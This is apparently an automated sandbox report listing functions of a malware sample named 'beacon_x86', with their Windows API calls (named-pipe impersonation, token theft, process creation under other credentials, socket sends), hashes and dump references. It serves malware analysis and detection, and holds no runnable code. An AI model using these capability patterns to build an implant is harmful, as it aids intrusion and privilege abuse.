CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00100000,00000000), ref: 00D669DF
GetLastError.KERNEL32 ref: 00D669EC
WaitNamedPipeA.KERNEL32(?,00002710), ref: 00D66A01
Sleep.KERNEL32(000003E8), ref: 00D66A0E
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000), ref: 00D66A58
GetLastError.KERNEL32 ref: 00D66A62
DisconnectNamedPipe.KERNEL32(?), ref: 00D66A9C

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: NamedPipe$ErrorLast$CreateDisconnectFileHandleSleepStateWait
String ID:
API String ID: 3284586969-0
Opcode ID: 55e65ad271494a3971001e3fc1ef27d7b61aa9f56bc3ec7e6cb25b09f5145139
Instruction ID: 5d81bebe430e1f6bc318f1b2bb2c8bc1028a50ef1b83a23c456b7f3e09a5a20c
Opcode Fuzzy Hash: 55e65ad271494a3971001e3fc1ef27d7b61aa9f56bc3ec7e6cb25b09f5145139
Instruction Fuzzy Hash: 7C21D3316503047BFB116BF8EC8AB7D7AADEB04720F284426FA06F61D0DA71D84047B2

Function 00D6D65A Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D6D68B
OpenProcessToken.ADVAPI32(00000000,?,00000000), ref: 00D6D6A9
GetLastError.KERNEL32 ref: 00D6D6B3

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 5fc7ae229c4fffb07eb5816caec24a4d1d2595433649b32867b14dfd2315ca77
Instruction ID: 727921c288380dd8d2a30061c6ae02959d77dec5d237ac8a4f6c8419be7efc41
Opcode Fuzzy Hash: 5fc7ae229c4fffb07eb5816caec24a4d1d2595433649b32867b14dfd2315ca77
Instruction Fuzzy Hash: F3216F76F50204BBF7116BE4EC4AF7A766DEB04B49F1C0125F605D1191E6788D109772

Function 00D67853 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000000,?,?,00000000), ref: 00D678B2
__WSAFDIsSet.WS2_32(?,?), ref: 00D678D5
send.WS2_32(?,00000000,?,00000000), ref: 00D678E9
WSAGetLastError.WS2_32(?,00000000,?,00000000,?,?,?,?), ref: 00D678F3
Sleep.KERNEL32(000003E8), ref: 00D67905

Strings

d, xrefs: 00D67872

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLastSleepselectsend
String ID: d
API String ID: 3306477828-2564639436
Opcode ID: 7f2efbc10f13a19cfdf05bb75137aea3162443b35a073f673eb8f9e54f74962f
Instruction ID: 214eccfb405780931273cf4558abeeaf6f791fabf7e28c79aac850a667284a39
Opcode Fuzzy Hash: 7f2efbc10f13a19cfdf05bb75137aea3162443b35a073f673eb8f9e54f74962f
Instruction Fuzzy Hash: 3411907180020CABDB219F64DC85BD977B8EB04314F1005A7E605E21A0D7B59ED18FA0

Function 00D63112 Relevance: 10.6, APIs: 7, Instructions: 58pipethreadfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6312F
GetLastError.KERNEL32 ref: 00D63142
ReadFile.KERNEL32(?,00000001,?,00000000), ref: 00D63170
ImpersonateNamedPipeClient.ADVAPI32 ref: 00D63180
GetCurrentThread.KERNEL32 ref: 00D63195
OpenThreadToken.ADVAPI32(00000000), ref: 00D6319C
DisconnectNamedPipe.KERNEL32(00D95024), ref: 00D631B0

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: NamedPipeThread$ClientCurrentDisconnectErrorFileImpersonateLastOpenReadToken_memset
String ID:
API String ID: 1184232734-0
Opcode ID: 625c1e664754c733d4722d87c4dfee9a2e0e4eacd2c52f0fa38f6c2a801f70a0
Instruction ID: f98e03205d366761067a9179ed126bf9a46f692e78baf179a3173217cecbe5bc
Opcode Fuzzy Hash: 625c1e664754c733d4722d87c4dfee9a2e0e4eacd2c52f0fa38f6c2a801f70a0
Instruction Fuzzy Hash: DD118271A00309AFEB119F68ED89E6A37BCEB05745F084072B604D6269D738CE449BB1

Function 00D6360A Relevance: 9.1, APIs: 6, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00D694B4: GetCurrentProcess.KERNEL32(?,00D6547C,?,00D654D4), ref: 00D694C0

GetLastError.KERNEL32(?,00000000,?,?), ref: 00D6365F
_malloc.LIBCMT ref: 00D636CA
_memset.LIBCMT ref: 00D636DB
_memset.LIBCMT ref: 00D6370C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D6373C
_memset.LIBCMT ref: 00D63751

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$ErrorLast$CurrentProcess_malloc
String ID:
API String ID: 2196066725-0
Opcode ID: cc4ea8e739f5a0e58af20b2ccdcdbc6745d36b0234445b6cdb309f251d232e28
Instruction ID: 3d9bbe62ed52b21f1a5c720df2632360466f30b65ef9cae01ca5018cacfe8013
Opcode Fuzzy Hash: cc4ea8e739f5a0e58af20b2ccdcdbc6745d36b0234445b6cdb309f251d232e28
Instruction Fuzzy Hash: 9541AEB6A00105BFEB00ABE8DC02ABE77BDEF04710F180065FA08E9192FB359A519775

Function 00D62741 Relevance: 9.1, APIs: 6, Instructions: 103sleeppipeCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D627B7
Sleep.KERNEL32(000003E8), ref: 00D627CD
GetLastError.KERNEL32 ref: 00D627D9
FlushFileBuffers.KERNEL32(?), ref: 00D6284A
DisconnectNamedPipe.KERNEL32(?), ref: 00D62853
Sleep.KERNEL32(000003E8), ref: 00D62866

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLastSleep$BuffersDisconnectFileFlushNamedPipe
String ID:
API String ID: 1974096663-0
Opcode ID: b9e6d7f8b7e469a4c56f005e7089357b16c487a24f9cdd1f59ab168b07717367
Instruction ID: 9fef6ecb5b2ce39dd7d8b7f0db388ac292e13e0fabe65f2f4318c4f43a5e5f30
Opcode Fuzzy Hash: b9e6d7f8b7e469a4c56f005e7089357b16c487a24f9cdd1f59ab168b07717367
Instruction Fuzzy Hash: 12311E72D0021DAFEB01EBE4DC89EEEB778EB14710F144062E905E6250DB71AE49DBB1

Function 00D6BB1C Relevance: 9.1, APIs: 6, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D6BB28

Part of subcall function 00D78E8E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00D6BB2D,00000000,00000080,?,?,?,00D603F0,?,00000000,00000000,00000000,00000000), ref: 00D78E99
Part of subcall function 00D78E8E: __aulldiv.LIBCMT ref: 00D78EB9

Part of subcall function 00D77C0A: __getptd.LIBCMT ref: 00D77C0F

_malloc.LIBCMT ref: 00D6BB71
_memset.LIBCMT ref: 00D6BB8F
_strtok.LIBCMT ref: 00D6BBB4
_strtok.LIBCMT ref: 00D6BBD7
_strtok.LIBCMT ref: 00D6BBE6

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _strtok$Time$FileSystem__aulldiv__getptd__time64_malloc_memset
String ID:
API String ID: 3072773955-0
Opcode ID: 4c8f8e739990ee379dba2d1cf3edea7c737eba4bbc833876df277790f507886d
Instruction ID: 88a7a0d1c436ec7e95c3cbbc02477ccb5f8901f9a2c672b9f111edfe239266dd
Opcode Fuzzy Hash: 4c8f8e739990ee379dba2d1cf3edea7c737eba4bbc833876df277790f507886d
Instruction Fuzzy Hash: 1F21D1B11047056FD729DF3CD886AB7BBE8EB05320B00446EF89AC7245EB31E9098B71

Function 00D64EEC Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D64EFC
_memset.LIBCMT ref: 00D64F08

Part of subcall function 00D65072: _malloc.LIBCMT ref: 00D650C4
Part of subcall function 00D65072: _malloc.LIBCMT ref: 00D650CF
Part of subcall function 00D65072: _memset.LIBCMT ref: 00D650DB
Part of subcall function 00D65072: _memset.LIBCMT ref: 00D650E6
Part of subcall function 00D65072: _rand.LIBCMT ref: 00D65144

__snprintf.LIBCMT ref: 00D64F59
__snprintf.LIBCMT ref: 00D64F71
_memset.LIBCMT ref: 00D64F90
_memset.LIBCMT ref: 00D64F9B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID:
API String ID: 1876596931-0
Opcode ID: cce1e1509f504b0f6cc4662c703f403171f67815652621ef42ac83140a419f6b
Instruction ID: 7f6d705f0b06df3fbfc42b3cb1313fb26bbd213981e0afa3432ae324d28e0361
Opcode Fuzzy Hash: cce1e1509f504b0f6cc4662c703f403171f67815652621ef42ac83140a419f6b
Instruction Fuzzy Hash: D2215872501100BBDF25AF14DC82F5B3B69EF91710F248095FE046B296E671EE21CAB5

Function 00D6CF65 Relevance: 9.1, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6CF89
_memset.LIBCMT ref: 00D6CF97
_memset.LIBCMT ref: 00D6CFA5
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,?), ref: 00D6CFC2
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00D6CFF1
__snprintf.LIBCMT ref: 00D6D013

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID:
API String ID: 2009363630-0
Opcode ID: e50347e6bd1e33cefeb576eadbabec640bdae93920ce3208dee02c2e6e64ae31
Instruction ID: 19e6c57b3f1534ff696a128031149c240cec7f3e39e9f5d9ae705c107f85f391
Opcode Fuzzy Hash: e50347e6bd1e33cefeb576eadbabec640bdae93920ce3208dee02c2e6e64ae31
Instruction Fuzzy Hash: 9D21FCB291121CBADB11DF90DC85EEF77BCEB04744F0488BAB615E2141E674AB848B75

Function 00D63870 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 184processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6389E
_memset.LIBCMT ref: 00D638BA
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,C3E8296A,83FFFFDB), ref: 00D63946

Strings

system32, xrefs: 00D63A02

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$CreateProcessTokenWith
String ID: system32
API String ID: 355399865-3483537008
Opcode ID: b55e6611d9dd14d5a3083f7509244ccb8567f399a027d50656637612e9cb9096
Instruction ID: 688c9c009741edde6b29203e7ef3fc6e61ef4f65c8d137e8ef9b0004fffb3658
Opcode Fuzzy Hash: b55e6611d9dd14d5a3083f7509244ccb8567f399a027d50656637612e9cb9096
Instruction Fuzzy Hash: 23510772604305AFD7219FA8DC85EAB77E9EF95700F18082AF589C3251E771DA088F72

Function 00D63763 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98processCOMMON

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,00D63994,C3E8296A,83FFFFDB,00D8A190,00D63ACB), ref: 00D63795
GetLastError.KERNEL32 ref: 00D637A7
_memset.LIBCMT ref: 00D637F0

Strings

system32, xrefs: 00D637F5

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: system32
API String ID: 2584212486-3483537008
Opcode ID: 251e63137930261fe7bc4555151b4f49d5251ba905ae28ffa97f8563d0cb47bb
Instruction ID: 82fc943b23b9138e04d414e887422abd4a09dfa9a3f63db9592b08a8663d5c0b
Opcode Fuzzy Hash: 251e63137930261fe7bc4555151b4f49d5251ba905ae28ffa97f8563d0cb47bb
Instruction Fuzzy Hash: 05312876900210AFDB125F64EC09FE63BB9EF49300F188465F989DB261E671DA14CBB0

Function 00D62927 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 00D62982
htonl.WS2_32(?), ref: 00D6298D
_malloc.LIBCMT ref: 00D629A4

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_memset.LIBCMT ref: 00D629FD

Part of subcall function 00D6B0FD: __snprintf.LIBCMT ref: 00D6B13C
Part of subcall function 00D6B0FD: __snprintf.LIBCMT ref: 00D6B14E

Strings

zyxwvutsrqponmlk, xrefs: 00D629E9

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __snprintfhtonl$AllocateHeap_malloc_memset
String ID: zyxwvutsrqponmlk
API String ID: 1734027086-3884694604
Opcode ID: 0fcaffc6e3bce3f89af16c2316c950781937f99509708f1df781b00d704622f7
Instruction ID: a799112727418174fa24ba33442724eb0e68a436ef2e80d86b3e09ac77a2aa46
Opcode Fuzzy Hash: 0fcaffc6e3bce3f89af16c2316c950781937f99509708f1df781b00d704622f7
Instruction Fuzzy Hash: F5213A62E4060177D7203AB59C87B7F7FD8DF85330F24057AF959E7283EA24890146B5

Function 00D608D3 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 00D608F2

Part of subcall function 00D77BCD: __vscwprintf_helper.LIBCMT ref: 00D77BDF

_malloc.LIBCMT ref: 00D6091B
htonl.WS2_32(?), ref: 00D60935
_vswprintf_s.LIBCMT ref: 00D60958
_memset.LIBCMT ref: 00D6096F

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __vscwprintf_helper_malloc_memset_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 3121112697-0
Opcode ID: eab78c14c4d6226c87d263ad8f6ee971a065a19c0f412d9def1dadf1496e4146
Instruction ID: ac952cf596975460d39df2b56b69c32cb92e4dc34351f9bef7765b13b3d011dd
Opcode Fuzzy Hash: eab78c14c4d6226c87d263ad8f6ee971a065a19c0f412d9def1dadf1496e4146
Instruction Fuzzy Hash: E8118176801118BBDB11AFA4CC42EEF7B6DEF44350F144466F90496102F6309B01CBB5

Function 00D64FB6 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D64FC6
_memset.LIBCMT ref: 00D64FD2

Part of subcall function 00D65072: _malloc.LIBCMT ref: 00D650C4
Part of subcall function 00D65072: _malloc.LIBCMT ref: 00D650CF
Part of subcall function 00D65072: _memset.LIBCMT ref: 00D650DB
Part of subcall function 00D65072: _memset.LIBCMT ref: 00D650E6
Part of subcall function 00D65072: _rand.LIBCMT ref: 00D65144

__snprintf.LIBCMT ref: 00D6502E
_memset.LIBCMT ref: 00D6504C
_memset.LIBCMT ref: 00D65057

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$_malloc$__snprintf_rand
String ID:
API String ID: 4266533377-0
Opcode ID: cde045e9b4a518eb2f0bfecb2e13c26cd05ba3549c091f30445d61c446199dd3
Instruction ID: c3f52078dd835b4064d8a97591e241135356fe9bfea44f78093953094779060a
Opcode Fuzzy Hash: cde045e9b4a518eb2f0bfecb2e13c26cd05ba3549c091f30445d61c446199dd3
Instruction Fuzzy Hash: 9921C071900111BBCF25AF14DC46E4B3B65EF91710F248090FD046B29AE671EE61C7F1

Function 00D661C8 Relevance: 7.6, APIs: 5, Instructions: 62pipeCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00D662A9,00D627B2,00000000,?,00D627B2,?), ref: 00D661EC
WaitNamedPipeA.KERNEL32(00D627B2,00002710), ref: 00D66201
SetNamedPipeHandleState.KERNEL32(?,00D627B2,00000000,00000000,?,00D662A9,00D627B2,00000000,?,00D627B2,?), ref: 00D6622F
DisconnectNamedPipe.KERNEL32(?,?,00D662A9,00D627B2,00000000,?,00D627B2,?), ref: 00D6623B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: NamedPipe$DisconnectErrorHandleLastStateWait
String ID:
API String ID: 2058620245-0
Opcode ID: 46a7405187cf3e1298ddb3f783bd20a30979b81d04f47fd49950a4b8ea0e59d3
Instruction ID: 13dab11660ddce4174ab2ec367e8cd27b9b1bf99633e76f3769c283d39aa0dac
Opcode Fuzzy Hash: 46a7405187cf3e1298ddb3f783bd20a30979b81d04f47fd49950a4b8ea0e59d3
Instruction Fuzzy Hash: 991161B1220210BFFB115B68DC19F7B3AADEB4A714F100566B906D61A4E670DD409B75

Function 00D7FB1E Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D7FB2A

Part of subcall function 00D7C797: __getptd_noexit.LIBCMT ref: 00D7C79A
Part of subcall function 00D7C797: __amsg_exit.LIBCMT ref: 00D7C7A7

__amsg_exit.LIBCMT ref: 00D7FB4A
__lock.LIBCMT ref: 00D7FB5A
InterlockedDecrement.KERNEL32(?), ref: 00D7FB77
InterlockedIncrement.KERNEL32(00D94B98), ref: 00D7FBA2

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 3248305179616a33d10f58f7afbdab3b34a640fe8f2d7e316897787e78d71c5f
Instruction ID: 82646945bde1b9d588b473eee7cdedf1e0fff0c271368bab8ce6308782bb646e
Opcode Fuzzy Hash: 3248305179616a33d10f58f7afbdab3b34a640fe8f2d7e316897787e78d71c5f
Instruction Fuzzy Hash: C0018032905711EBDB31AB68D856B5DB760FF04724F198026E81CA7381EB38E941CBF6

Function 00D6DC6F Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D6DC76

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_malloc.LIBCMT ref: 00D6DC83
_malloc.LIBCMT ref: 00D6DC9E
__snprintf.LIBCMT ref: 00D6DCB1
_malloc.LIBCMT ref: 00D6DCD0

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID:
API String ID: 3929630252-0
Opcode ID: 46a10f34c61c9f158cd838bfac093e5130d5b1043cba3970bd40d9bc6f0fa515
Instruction ID: c0d451d105c0ee3162f752e5ee9830a06e9001cf67445b89e0f9adfcfa3c6565
Opcode Fuzzy Hash: 46a10f34c61c9f158cd838bfac093e5130d5b1043cba3970bd40d9bc6f0fa515
Instruction Fuzzy Hash: 6B016D709043056FDB14AF79D986E56BBE8EF44754B00C829F48DCB241EA71D9058BB0

Function 00D77722 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00D77740

Part of subcall function 00D798AA: __mtinitlocknum.LIBCMT ref: 00D798C0
Part of subcall function 00D798AA: __amsg_exit.LIBCMT ref: 00D798CC
Part of subcall function 00D798AA: RtlEnterCriticalSection.NTDLL(?), ref: 00D798D4

___sbh_find_block.LIBCMT ref: 00D7774B
___sbh_free_block.LIBCMT ref: 00D7775A
HeapFree.KERNEL32(00000000,?,00D925A0,0000000C,00D7988B,00000000,00D92700,0000000C,00D798C5,?,?,?,00D8519D,00000004,00D92A60,0000000C), ref: 00D7778A
GetLastError.KERNEL32(?,00D8519D,00000004,00D92A60,0000000C,00D80868,?,?,00000000,00000000,00000000,?,00D7C749,00000001,00000214), ref: 00D7779B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 6ce2192171226e7b61eec90b42679239f748312574d3ec5f9311f2350a1a71bd
Instruction ID: ede6c3cca426c0dfeaf37b295c8f8927b0828aa93879dd175954d9fcfe1303e5
Opcode Fuzzy Hash: 6ce2192171226e7b61eec90b42679239f748312574d3ec5f9311f2350a1a71bd
Instruction Fuzzy Hash: 7B018632809311AAEF247FB9DC4AB5E7664EF01721F25C619F51CA61D1FB3889408BB5

Function 00D6B0FD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00D6B13C
__snprintf.LIBCMT ref: 00D6B14E
_strncmp.LIBCMT ref: 00D6B224

Strings

abcdefghijklmnop, xrefs: 00D6B1D6

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __snprintf$_strncmp
String ID: abcdefghijklmnop
API String ID: 3493850238-2486878355
Opcode ID: 4e1198a48f92e5905a7723c2e6905b96d3e9f29e0da5bbaa08abe818fbc922e1
Instruction ID: 9c674bbe0571e5d6bf8951c69bf8bfcd58f932b4857b449fb9f470301739735e
Opcode Fuzzy Hash: 4e1198a48f92e5905a7723c2e6905b96d3e9f29e0da5bbaa08abe818fbc922e1
Instruction Fuzzy Hash: 8741B172900609BFEB01DEB8D9418EFB7B9DF49354B104932EA05E7151FB35AF098AB1

Function 00D6CA6F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00D659A9,?,00D659A9,00000000), ref: 00D6CAAF
GetCurrentProcess.KERNEL32(00D659A9,00000000,?,00D659A9,00000000), ref: 00D6CACA
UnmapViewOfFile.KERNEL32(00D659A9,?,00D659A9,00000000), ref: 00D6CAD9

Strings

0-v, xrefs: 00D6CA86

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CurrentProcess$FileUnmapView
String ID: 0-v
API String ID: 1078562510-620404996
Opcode ID: a8878e471d6c314100dd7d8cbf16bbbfc6d6a2f57ec12e7aad5e86f85094db18
Instruction ID: ac169ef7cee2e01c8e6579b94d75985d79177178e1497c1d971d51675ab90c35
Opcode Fuzzy Hash: a8878e471d6c314100dd7d8cbf16bbbfc6d6a2f57ec12e7aad5e86f85094db18
Instruction Fuzzy Hash: 6AF03C719503099BDB24DFE9EC0857A3BA9FB15760B18542AE849C3760E7349880DB74

Function 00D60DEA Relevance: 6.4, APIs: 4, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D61036

Part of subcall function 00D6C9B2: GetCurrentProcess.KERNEL32(?,00000000,00000000,?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?,00D6596B), ref: 00D6CA21

_memset.LIBCMT ref: 00D611A8

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CurrentErrorLastProcess_memset
String ID:
API String ID: 652633832-0
Opcode ID: 5e59a5eb116a21072079c670acae980d69bf9e0a117743fe9dee8025ec4ae3e4
Instruction ID: 5cee0d3b52ae1c24a33967174b2957f304be2e9b04028867cdb82ac82952a402
Opcode Fuzzy Hash: 5e59a5eb116a21072079c670acae980d69bf9e0a117743fe9dee8025ec4ae3e4
Instruction Fuzzy Hash: 08C1AAB6A107059FEB20CF69CC81A5777E4FF88304B18893EE586C6A52E735F8558B30

Function 00D63CCD Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

Part of subcall function 00D78218: __fsopen.LIBCMT ref: 00D78225

_fseek.LIBCMT ref: 00D63D43

Part of subcall function 00D78852: __lock_file.LIBCMT ref: 00D78861
Part of subcall function 00D78852: __ftelli64_nolock.LIBCMT ref: 00D7886E

_fseek.LIBCMT ref: 00D63D5C

Part of subcall function 00D78BE3: __lock_file.LIBCMT ref: 00D78C2E
Part of subcall function 00D78BE3: __fseek_nolock.LIBCMT ref: 00D78C3E

GetFullPathNameA.KERNEL32(?,00000800,?,00000000), ref: 00D63D89
_malloc.LIBCMT ref: 00D63DA3

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: a8d59b9f323fa2a4c5ee94e6dc0200af2b82ded2e9470af3a7c780d8d59ac434
Instruction ID: 98cf07bab3d6218a46d768dc0bef741341b5c7bd7f093d516768e897f3c58bad
Opcode Fuzzy Hash: a8d59b9f323fa2a4c5ee94e6dc0200af2b82ded2e9470af3a7c780d8d59ac434
Instruction Fuzzy Hash: DC41A472900308BBDF11BBA4CC86F9EBBB8EF08714F14452AF514B2292EA7596549B71

Function 00D62F99 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16067a2b2defe229e1165cabba65462480f8585182f6c99a0e3bf517379f6725
